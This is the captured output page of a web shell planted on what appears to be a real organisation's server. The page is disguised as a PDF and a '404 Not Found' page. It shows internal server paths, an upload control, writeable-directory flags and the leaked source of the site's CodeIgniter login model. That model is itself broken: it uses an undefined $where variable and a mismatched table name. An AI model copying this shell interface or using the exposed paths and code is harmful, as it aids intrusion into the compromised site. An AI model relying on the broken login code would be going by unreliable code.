%PDF-1.4 404 Not Found
Sh3ll



Directory :  /var/www/vhosts/lautnusantara.com/httpdocs/mis/app/Models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Current File : /var/www/vhosts/lautnusantara.com/httpdocs/mis/app/Models/Login_Model.php
<?php 

namespace App\Models;
use CodeIgniter\Model;

class Login_Model extends Model {

	protected $table = 'ssn_users';
	protected $primaryKey = 'id';
	protected $allowedFields = ['usergroup_id', 'username', 'password', 'firstname', 'lastname', 'email', 'image', 'active', 'created'];

	public function getLogin($username=false,$password=false)
    {
        $builder = $this->table('ssn_users');
        $builder->select('ssn_user_groups.name,cys_users.*');
        $builder->join('ssn_user_groups','ssn_user_groups.id=ssn_users.usergroup_id', 'left');
       
        return $builder->where($where)->get();
    
    }

    
}

?>

WonXd677 Sh3LL